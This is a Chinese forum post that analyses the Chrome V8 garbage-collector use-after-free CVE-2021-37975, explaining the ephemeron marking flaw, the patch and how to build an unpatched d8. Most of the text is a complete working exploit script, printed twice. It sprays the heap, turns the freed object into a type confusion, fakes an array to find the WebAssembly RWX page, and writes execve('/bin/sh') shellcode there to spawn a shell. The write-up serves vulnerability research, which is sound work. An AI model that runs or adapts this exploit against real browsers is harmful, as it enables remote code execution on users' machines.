首页
社区
课程
招聘
[原创]chrome v8漏洞CVE-2021-37975浅析
发表于: 2024-5-8 18:44 8938

[原创]chrome v8漏洞CVE-2021-37975浅析

2024-5-8 18:44
8938

作者: coolboy

CVE-2021-37975 是产生在v8 GC模块的UAF漏洞,利用堆喷可以在原地址申请一个对象,新对象跟释放对象的类型不一致,可以造成类型混淆,从而实现利用。
文章分析了漏洞成因、原理、patch以及POC细节。
这是一个系列文章,本文是第二篇,前一篇:chrome v8漏洞CVE-2021-30632浅析

先给出POC及复现命令,有一个利用成功的整体感受,后续会拆解POC代码。

运行./out/x64.release/d8 poc.js, 得到shell,如下图:

要使上面的程序运行成功,有两点需要注意:




如图,v8 GC垃圾回收核心算法是三色算法。

如果GC算法运行结束,仍然为白色的对象,将被释放。当前漏洞的成因是一个能够被访问到的对象在GC算法结束时,被错误的标记为白色,因而被释放,导致了UAF

js中的 WeakMap 不支持迭代以及 keys(),values() 和 entries() 方法,只有下面方法:

介绍4个重要的数据结构:

介绍几个关键函数,均位于mark-compact.cc。

就是上面的标记算法出现了漏洞。考虑下面代码。

ProcessEphemeron 函数如果标记成功,将ephemeron_marked置为true,并开启下一次迭代。
DrainMarkingWorklist 函数内部在(key, value)为(黑,白)或者(白,黑)时也将会对白色的对象进行标记。遗憾的是,标记完之后并没有判断返回值。也就是说,可能出现DrainMarkingWorklist标记一个对象为黑之后,并不开启下一次迭代,从而结束GC算法

考虑一轮标记各结构如上图,此时current_ephemerons中(k1, v1), (k2, v2)为白。
local_marking_worklists中存放了灰色的v3, v3是一个WeakMap, v3.set(k0, k1),假设此时k0为黑。DrainMarkingWorklist将v3由灰标记为黑,并递归遍历v3所有的key, value,此时(k0, k1)为(黑,白),将会把k1变为灰,加入到local_marking_worklists,并接着将local_marking_worklists中的k1由灰标记为黑,直至local_marking_worklists为空。
由于调用DrainMarkingWorklist并未判断返回值,k1被标记为黑色之后,如果此时GC标记算法结束,那么current_ephemerons中的v1由于还是白,将会被释放掉。而v1可以通过weakmap.get(k1)访问到,就会造成了UAF。

补丁代码比较多,核心的就是这里,判断了ProcessMarkingWorklist的返回值,当它对某个对象标记之后,迭代再来一轮,这样v1就会在下一轮对current_ephemerons中的处理中被标记,不会被回收了。

ProcessEphemeronsUntilFixpoint中迭代超过10次(max_iterations),那么将采用另外一个算法ProcessEphemeronsLinear。这个算法有没有漏洞呢?

ProcessEphemeronsLinear算法如下:

因此,ProcessEphemeronsLinear 虽然没有判断ProcessMarkingWorklist返回值,但它通过newly_discovered数组覆盖了有对象被标记为黑色的情况,因此也不存在漏洞。

setUpWeakMap 分成两部分,hideWeakMap,及xxxxx代表的第二部分。回顾前面提及过MarkLiveObjects 两次 ProcessEphemeronMarking。因此需要构造一个嵌套的结构。如下图:

hideWeakMap构造了左边的结构。
setUpWeakMap剩余部分构造了右边的结构。

Chrome in-the-wild bug analysis: CVE-2021-37975
Concurrent marking in V8

# 国内的网络编译会失败,挂VPN也遇到了各种问题。
# 推荐腾讯云上购买新加坡服务器2core 2G 39元一个月,编译一路丝滑。
 
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=/path/to/depot_tools:$PATH
 
mkdir ~/v8
cd ~/v8
fetch v8
cd v8
 
# 漏洞补丁前一笔提交
 
git checkout 452f57beb81
gclient sync
alias gm=~/v8/tools/dev/gm.py
gm x64.release
gm x64.debug
 
# test
 
./out/x64.release/d8 --help
# 国内的网络编译会失败,挂VPN也遇到了各种问题。
# 推荐腾讯云上购买新加坡服务器2core 2G 39元一个月,编译一路丝滑。
 
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=/path/to/depot_tools:$PATH
 
mkdir ~/v8
cd ~/v8
fetch v8
cd v8
 
# 漏洞补丁前一笔提交
 
git checkout 452f57beb81
gclient sync
alias gm=~/v8/tools/dev/gm.py
gm x64.release
gm x64.debug
 
# test
 
./out/x64.release/d8 --help
// poc.js
function sleep(miliseconds) {
  var currentTime = new Date().getTime();
  while (currentTime + miliseconds >= new Date().getTime()) {
  }
}
 
var initKey = {init : 1};
var level = 4;
var map1 = new WeakMap();
var gcSize = 0x4fe00000;
var sprayParam = 1000;
 
//Get mapAddr using DebugPrint for double array (the compressed address of the map)
var mapAddr = 0x8203ae1;
var mapAddr = 0x8183ae1
 
var rwxOffset = 0x60;
 
var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module);
var wasmMain = instance.exports.main;
 
//Return values should be deleted/out of scope when gc happen, so they are not directly reachable in gc
function hideWeakMap(map, level, initKey) {
 let prevMap = map;
 let prevKey = initKey;
 for (let i = 0; i < level; i++) {
   let thisMap = new WeakMap();
   prevMap.set(prevKey, thisMap);
   let thisKey = {'h' : i};
   //make thisKey reachable via prevKey
   thisMap.set(prevKey, thisKey);
   prevMap = thisMap;
   prevKey = thisKey;
   if (i == level - 1) {
     let retMap = new WeakMap();
     map.set(thisKey, retMap);
     return thisKey;
   }
 }
}
//Get the key for the hidden map, the return key is reachable as strong ref via weak maps, but should not be directly reachable when gc happens
function getHiddenKey(map, level, initKey) {
 let prevMap = map;
 let prevKey = initKey;
 for (let i = 0; i < level; i++) {
   let thisMap = prevMap.get(prevKey);
   let thisKey = thisMap.get(prevKey);
   prevMap = thisMap;
   prevKey = thisKey;
   if (i == level - 1) {
     return thisKey;
   }
 }
}
 
function setUpWeakMap(map) {
//  for (let i = 0; i < 1000; i++) new Array(300);
 //Create deep enough weak ref trees to hiddenMap so it doesn't get discovered by concurrent marking
 let hk = hideWeakMap(map, level, initKey);
//Round 1 maps
 let hiddenMap = map.get(hk);
 let map7 = new WeakMap();
 let map8 = new WeakMap();
 
//hk->k5, k5: discover->wl
 let k5 = {k5 : 1};
 let map5 = new WeakMap();
 let k7 = {k7 : 1};
 let k9 = {k9 : 1};
 let k8 = {k8 : 1};
 let ta = new Uint8Array(1024);
 ta.fill(0xfe);
 let larr = new Array(1 << 15);
 larr.fill(1.1);
 console.log("================ double in free zone: larr");
 // %DebugPrint(larr);
 let v9 = {ta : ta, larr : larr};
 map.set(k7, map7);
 map.set(k9, v9);
 
//map3 : kb|vb: initial discovery ->wl
 hiddenMap.set(k5, map5);
 hiddenMap.set(hk, k5);
 
//iter2: wl: discover map5, mark v6 (->k5) black, discovery: k5 black -> wl
//iter3: wl: map5 : mark map7, k7, no discovery, iter end
 map5.set(hk, k7);
  
//Round 2: map5 becomes kb in current, initial state: k7, map7 (black), goes into wl
//iter1
 
//wl discovers map8, and mark k8 black
 map7.set(k8, map8);
 map7.set(k7, k8);
 
//discovery moves k8, map8 into wl
//iter2 marks k9 black, iter finished
 map8.set(k8,k9);
  
}
var view = new ArrayBuffer(24);
var dblArr = new Float64Array(view);
var intView = new Int32Array(view);
var bigIntView = new BigInt64Array(view);
 
function ftoi32(f) {
 dblArr[0] = f;
 return [intView[0], intView[1]];
}
 
function i32tof(i1, i2) {
 intView[0] = i1;
 intView[1] = i2;
 return dblArr[0];
}
 
function itof(i) {
 bigIntView = BigInt(i);
 return dblArr[0];
}
 
function ftoi(f) {
 dblArr[0] = f;
 return bigIntView[0];
}
 
function gc() {
 //trigger major GC: See https://tiszka.com/blog/CVE_2021_21225_exploit.html (Trick #2: Triggering Major GC without spraying the heap)
 new ArrayBuffer(gcSize);
}
 
function restart() {
 //Should deopt main if it gets optimized
 global.__proto__ = {};
 gc();
 sleep(2000);
 main();
}
 
function main() {
   setUpWeakMap(map1);
   //sleep(2000);
   gc();
   //sleep(2000);
 
 
   let sprayParamArr = [];
 
   for (let i = 0; i < sprayParam; i++) {
     let thisArr = new Array(1 << 15);
     sprayParamArr.push(thisArr);
   }
   //These are there to stop main being optimized by JIT
   globalIdx['a' + globalIdx] = 1;
   //Can't refactor this, looks like it cause some double rounding problem (got optimized?)
   for (let i = 0; i < sprayParamArr.length; i++) {
     let thisArr = sprayParamArr[i];
     thisArr.fill(instance);
   }
   globalIdx['a' + globalIdx + 1000] = 1;
   let result = null;
   
   try {
     // handle: Cannot read properties of undefined. out of order map keys
     result = fetch();
   } catch (e) {
     console.log("fetch failed");
     restart();
     return;
   }
   if (!result) {
     console.log("fail to find object address.");
     restart();
     return;
   }
 
   let larr = result.larr;
   let index = result.idx;
 
   console.log("================ double in free zone: instance");
   // %DebugPrint(instance);
 
   // larr 里面全部存放的是instance 对象地址, index 默认为0
   let instanceAddr = ftoi32(larr[index])[0];
   let instanceAddr2 = ftoi32(larr[index])[1];
   let instanceFloatAddr = larr[index];
   console.log("================found instance address: 0x" + instanceAddr.toString(16) + " at index: " + index);
   console.log("================found instance address2: 0x" + instanceAddr2.toString(16) + " at index: " + index);
    
   let x = {};
   for (let i = 0; i < sprayParamArr.length; i++) {
     let thisArr = sprayParamArr[i];
     thisArr.fill(x);
   }
 
   globalIdx['a' + globalIdx + 5000] = 1;
 
   larr[index] = instanceFloatAddr;
   let objArrIdx = -1;
   let thisArrIdx = -1;
   for (let i = 0; i < sprayParamArr.length; i++) {
     globalIdx['a' + globalIdx + 3000] = 1;
     global.__proto__ = {};
     let thisArr = sprayParamArr[i];
     for (let j = 0; j < thisArr.length; j++) {
       let thisObj = thisArr[j];
       if (thisObj == instance) {
         console.log("found instance object at: " + i + " index: " + j);
         objArrIdx = i;
         thisArrIdx = j;
       }
     }
   }
   globalIdx['a' + globalIdx + 4000] = 1;
   if (objArrIdx == -1) {
     console.log("failed getting fake object index.");
     restart();
     return;
   }
   let obj = [1.1,1.2,1.3,0.0];
   console.log("================ obj");
   // %DebugPrint(obj)
   let thisArr = sprayParamArr[objArrIdx];
   thisArr.fill(obj);
   globalIdx['a' + globalIdx + 2000] = 1;
   // 现在larr里面填充的是obj 对象地址
   // %SystemBreak();
 
   let addr = ftoi32(larr[index])[0];
   let objEleAddr = addr + 0x18 + 0x8;
   let floatAddr = i32tof(objEleAddr, objEleAddr);
   let floatMapAddr = i32tof(mapAddr, mapAddr);
   //Faking an array at using obj[0] and obj[1]
   obj[0]  = floatMapAddr;
   let eleLength = i32tof(instanceAddr + rwxOffset, 10);
 
   obj[1] = eleLength;
 
   larr[index] = floatAddr;
   console.log("array address: 0x" + addr.toString(16));
   console.log("array element address: 0x" + objEleAddr.toString(16));
   let rwxAddr = 0;
   let fakeArray = sprayParamArr[objArrIdx][thisArrIdx];
   if (!(fakeArray instanceof Array)) {
     console.log("fail getting fake array.");
     restart();
     return;
   }
   rwxAddr = fakeArray[0];
   console.log("rwx address at: 0x" + ftoi(rwxAddr).toString(16));
 
   if (rwxAddr == 0) {
     console.log("failed getting rwx address.");
     restart();
     return;
   }
 
   //Read shellArray address
   let shellArray = new Uint8Array(100);
   thisArr = sprayParamArr[objArrIdx];
   thisArr.fill(shellArray);
 
   let shellAddr = ftoi32(larr[index])[0];
   console.log("shellArray addr: 0x" + shellAddr.toString(16));
   obj[1] = i32tof(shellAddr + 0x20, 10);
   fakeArray[0] = rwxAddr;
   var shellCode = [0x31, 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x56, 0x53, 0x54, 0x5f, 0xb8, 0x3b, 0, 0, 0, 0xf, 0x5];
   for (let i = 0; i < shellCode.length; i++) {
     shellArray[i] = shellCode[i];
   }
   wasmMain();
}
 
function findTA(ta) {
   let found = false;
   for (let i = 0; i < 16; i++) {
     if (ta[i] != 0xfe) {
         console.log(ta[i]);
         return true;
     }
   }
   console.log(ta[0]);
   return found;
}
 
/*
let ta = new Uint8Array(1024);
   ta.fill(0xfe);
   let larr = new Array(1 << 15);
   larr.fill(1.1);
   let v9 = {ta : ta, larr : larr};
*/
function findLArr(larr) {
   for (let i = 0; i < (1 << 15); i++) {
       if (larr[i] != 1.1) {
         let addr = ftoi32(larr[i]);
         return i;
       }
       else {
        // 可以正常打印,标记了,还没有真正free?
        //console.log(larr[i])
       }
   }
   return -1;
}
 
function fetch() {
   let hiddenKey = getHiddenKey(map1, level, initKey);
   let hiddenMap = map1.get(hiddenKey);
   let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey);
   let k8 = map1.get(k7).get(k7);
   let map8 = map1.get(k7).get(k8);
 
   console.log('===========before access free pointet 1')
   console.log('===========before access free pointet 2')
   let larr = map1.get(map8.get(k8)).larr;
   console.log('===========before findLArr')
   let index = findLArr(larr);
   console.log('===========after findLArr')
   if (index == -1) {
     return;
   }
   return {larr : larr, idx : index};
}
global = {};
globalIdx = 0;
main();
// poc.js
function sleep(miliseconds) {
  var currentTime = new Date().getTime();
  while (currentTime + miliseconds >= new Date().getTime()) {
  }
}
 
var initKey = {init : 1};
var level = 4;
var map1 = new WeakMap();
var gcSize = 0x4fe00000;
var sprayParam = 1000;
 
//Get mapAddr using DebugPrint for double array (the compressed address of the map)
var mapAddr = 0x8203ae1;
var mapAddr = 0x8183ae1
 
var rwxOffset = 0x60;
 
var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module);
var wasmMain = instance.exports.main;
 
//Return values should be deleted/out of scope when gc happen, so they are not directly reachable in gc
function hideWeakMap(map, level, initKey) {
 let prevMap = map;
 let prevKey = initKey;
 for (let i = 0; i < level; i++) {
   let thisMap = new WeakMap();
   prevMap.set(prevKey, thisMap);
   let thisKey = {'h' : i};
   //make thisKey reachable via prevKey
   thisMap.set(prevKey, thisKey);
   prevMap = thisMap;
   prevKey = thisKey;
   if (i == level - 1) {
     let retMap = new WeakMap();
     map.set(thisKey, retMap);
     return thisKey;
   }
 }
}
//Get the key for the hidden map, the return key is reachable as strong ref via weak maps, but should not be directly reachable when gc happens
function getHiddenKey(map, level, initKey) {
 let prevMap = map;
 let prevKey = initKey;
 for (let i = 0; i < level; i++) {
   let thisMap = prevMap.get(prevKey);
   let thisKey = thisMap.get(prevKey);
   prevMap = thisMap;
   prevKey = thisKey;
   if (i == level - 1) {
     return thisKey;
   }
 }
}
 
function setUpWeakMap(map) {
//  for (let i = 0; i < 1000; i++) new Array(300);
 //Create deep enough weak ref trees to hiddenMap so it doesn't get discovered by concurrent marking
 let hk = hideWeakMap(map, level, initKey);
//Round 1 maps
 let hiddenMap = map.get(hk);
 let map7 = new WeakMap();
 let map8 = new WeakMap();
 
//hk->k5, k5: discover->wl
 let k5 = {k5 : 1};
 let map5 = new WeakMap();
 let k7 = {k7 : 1};
 let k9 = {k9 : 1};
 let k8 = {k8 : 1};
 let ta = new Uint8Array(1024);
 ta.fill(0xfe);
 let larr = new Array(1 << 15);
 larr.fill(1.1);
 console.log("================ double in free zone: larr");
 // %DebugPrint(larr);
 let v9 = {ta : ta, larr : larr};
 map.set(k7, map7);
 map.set(k9, v9);
 
//map3 : kb|vb: initial discovery ->wl
 hiddenMap.set(k5, map5);
 hiddenMap.set(hk, k5);
 
//iter2: wl: discover map5, mark v6 (->k5) black, discovery: k5 black -> wl
//iter3: wl: map5 : mark map7, k7, no discovery, iter end
 map5.set(hk, k7);
  
//Round 2: map5 becomes kb in current, initial state: k7, map7 (black), goes into wl
//iter1
 
//wl discovers map8, and mark k8 black
 map7.set(k8, map8);
 map7.set(k7, k8);
 
//discovery moves k8, map8 into wl
//iter2 marks k9 black, iter finished
 map8.set(k8,k9);
  
}
var view = new ArrayBuffer(24);
var dblArr = new Float64Array(view);
var intView = new Int32Array(view);
var bigIntView = new BigInt64Array(view);
 
function ftoi32(f) {
 dblArr[0] = f;
 return [intView[0], intView[1]];
}
 
function i32tof(i1, i2) {
 intView[0] = i1;
 intView[1] = i2;
 return dblArr[0];
}
 
function itof(i) {
 bigIntView = BigInt(i);
 return dblArr[0];
}
 
function ftoi(f) {
 dblArr[0] = f;
 return bigIntView[0];
}
 
function gc() {
 //trigger major GC: See https://tiszka.com/blog/CVE_2021_21225_exploit.html (Trick #2: Triggering Major GC without spraying the heap)
 new ArrayBuffer(gcSize);
}
 
function restart() {
 //Should deopt main if it gets optimized
 global.__proto__ = {};
 gc();
 sleep(2000);
 main();
}
 
function main() {
   setUpWeakMap(map1);
   //sleep(2000);
   gc();
   //sleep(2000);
 
 
   let sprayParamArr = [];
 
   for (let i = 0; i < sprayParam; i++) {
     let thisArr = new Array(1 << 15);
     sprayParamArr.push(thisArr);
   }
   //These are there to stop main being optimized by JIT
   globalIdx['a' + globalIdx] = 1;
   //Can't refactor this, looks like it cause some double rounding problem (got optimized?)
   for (let i = 0; i < sprayParamArr.length; i++) {
     let thisArr = sprayParamArr[i];
     thisArr.fill(instance);
   }
   globalIdx['a' + globalIdx + 1000] = 1;
   let result = null;
   
   try {
     // handle: Cannot read properties of undefined. out of order map keys
     result = fetch();
   } catch (e) {
     console.log("fetch failed");
     restart();
     return;
   }
   if (!result) {
     console.log("fail to find object address.");
     restart();
     return;
   }
 
   let larr = result.larr;
   let index = result.idx;
 
   console.log("================ double in free zone: instance");
   // %DebugPrint(instance);
 
   // larr 里面全部存放的是instance 对象地址, index 默认为0
   let instanceAddr = ftoi32(larr[index])[0];
   let instanceAddr2 = ftoi32(larr[index])[1];
   let instanceFloatAddr = larr[index];
   console.log("================found instance address: 0x" + instanceAddr.toString(16) + " at index: " + index);
   console.log("================found instance address2: 0x" + instanceAddr2.toString(16) + " at index: " + index);
    
   let x = {};
   for (let i = 0; i < sprayParamArr.length; i++) {
     let thisArr = sprayParamArr[i];
     thisArr.fill(x);
   }
 
   globalIdx['a' + globalIdx + 5000] = 1;
 
   larr[index] = instanceFloatAddr;
   let objArrIdx = -1;
   let thisArrIdx = -1;
   for (let i = 0; i < sprayParamArr.length; i++) {
     globalIdx['a' + globalIdx + 3000] = 1;
     global.__proto__ = {};
     let thisArr = sprayParamArr[i];
     for (let j = 0; j < thisArr.length; j++) {
       let thisObj = thisArr[j];
       if (thisObj == instance) {
         console.log("found instance object at: " + i + " index: " + j);
         objArrIdx = i;
         thisArrIdx = j;
       }
     }
   }
   globalIdx['a' + globalIdx + 4000] = 1;
   if (objArrIdx == -1) {
     console.log("failed getting fake object index.");
     restart();
     return;
   }
   let obj = [1.1,1.2,1.3,0.0];
   console.log("================ obj");
   // %DebugPrint(obj)
   let thisArr = sprayParamArr[objArrIdx];
   thisArr.fill(obj);
   globalIdx['a' + globalIdx + 2000] = 1;
   // 现在larr里面填充的是obj 对象地址
   // %SystemBreak();
 
   let addr = ftoi32(larr[index])[0];
   let objEleAddr = addr + 0x18 + 0x8;
   let floatAddr = i32tof(objEleAddr, objEleAddr);
   let floatMapAddr = i32tof(mapAddr, mapAddr);
   //Faking an array at using obj[0] and obj[1]
   obj[0]  = floatMapAddr;
   let eleLength = i32tof(instanceAddr + rwxOffset, 10);
 
   obj[1] = eleLength;
 
   larr[index] = floatAddr;
   console.log("array address: 0x" + addr.toString(16));
   console.log("array element address: 0x" + objEleAddr.toString(16));
   let rwxAddr = 0;
   let fakeArray = sprayParamArr[objArrIdx][thisArrIdx];
   if (!(fakeArray instanceof Array)) {
     console.log("fail getting fake array.");
     restart();
     return;
   }
   rwxAddr = fakeArray[0];
   console.log("rwx address at: 0x" + ftoi(rwxAddr).toString(16));
 
   if (rwxAddr == 0) {
     console.log("failed getting rwx address.");
     restart();
     return;
   }
 
   //Read shellArray address
   let shellArray = new Uint8Array(100);
   thisArr = sprayParamArr[objArrIdx];
   thisArr.fill(shellArray);
 
   let shellAddr = ftoi32(larr[index])[0];
   console.log("shellArray addr: 0x" + shellAddr.toString(16));
   obj[1] = i32tof(shellAddr + 0x20, 10);
   fakeArray[0] = rwxAddr;
   var shellCode = [0x31, 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x56, 0x53, 0x54, 0x5f, 0xb8, 0x3b, 0, 0, 0, 0xf, 0x5];
   for (let i = 0; i < shellCode.length; i++) {
     shellArray[i] = shellCode[i];
   }
   wasmMain();
}
 
function findTA(ta) {
   let found = false;
   for (let i = 0; i < 16; i++) {
     if (ta[i] != 0xfe) {
         console.log(ta[i]);
         return true;
     }
   }
   console.log(ta[0]);
   return found;
}
 
/*
let ta = new Uint8Array(1024);
   ta.fill(0xfe);
   let larr = new Array(1 << 15);
   larr.fill(1.1);
   let v9 = {ta : ta, larr : larr};
*/
function findLArr(larr) {
   for (let i = 0; i < (1 << 15); i++) {
       if (larr[i] != 1.1) {
         let addr = ftoi32(larr[i]);
         return i;
       }
       else {
        // 可以正常打印,标记了,还没有真正free?
        //console.log(larr[i])
       }
   }
   return -1;
}
 
function fetch() {
   let hiddenKey = getHiddenKey(map1, level, initKey);
   let hiddenMap = map1.get(hiddenKey);
   let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey);
   let k8 = map1.get(k7).get(k7);
   let map8 = map1.get(k7).get(k8);
 
   console.log('===========before access free pointet 1')
   console.log('===========before access free pointet 2')
   let larr = map1.get(map8.get(k8)).larr;
   console.log('===========before findLArr')
   let index = findLArr(larr);
   console.log('===========after findLArr')
   if (index == -1) {
     return;
   }
   return {larr : larr, idx : index};
}
global = {};
globalIdx = 0;
main();
// test1.js
let obj = [1.1,1.1,1.1];
%DebugPrint(obj)
// test1.js
let obj = [1.1,1.1,1.1];
%DebugPrint(obj)
user % ./out/x64.release/d8 --allow-natives-syntax test1.js
DebugPrint: 0x5fe08049501: [JSArray]
 - map: 0x05fe08183ae1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x05fe0814c0f9 <JSArray[0]>
 - elements: 0x05fe080494e1 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
 - length: 3
 - properties: 0x05fe0800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x5fe080048f1: [String] in ReadOnlySpace: #length: 0x05fe080c215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x05fe080494e1 <FixedDoubleArray[3]> {
         0-2: 1.1
 }
# 0x05fe08183ae1 取低32位0x8183ae1, 赋值给poc.js里面的mapAddr 即可。取低32位,是因为v8采用了地址压缩技术,64位地址在变量中只保存低32位,高32位在寄存中保留。
# POC可以简单通过test1.js 来获取double arr的地址; exp实际利用环境,可以通过此UAF漏洞构造任意地址读来获取double arr的地址。 方法不再赘述。
user % ./out/x64.release/d8 --allow-natives-syntax test1.js
DebugPrint: 0x5fe08049501: [JSArray]
 - map: 0x05fe08183ae1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x05fe0814c0f9 <JSArray[0]>
 - elements: 0x05fe080494e1 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
 - length: 3
 - properties: 0x05fe0800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x5fe080048f1: [String] in ReadOnlySpace: #length: 0x05fe080c215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2024-5-8 18:46 被coolboyme编辑 ,原因:
收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//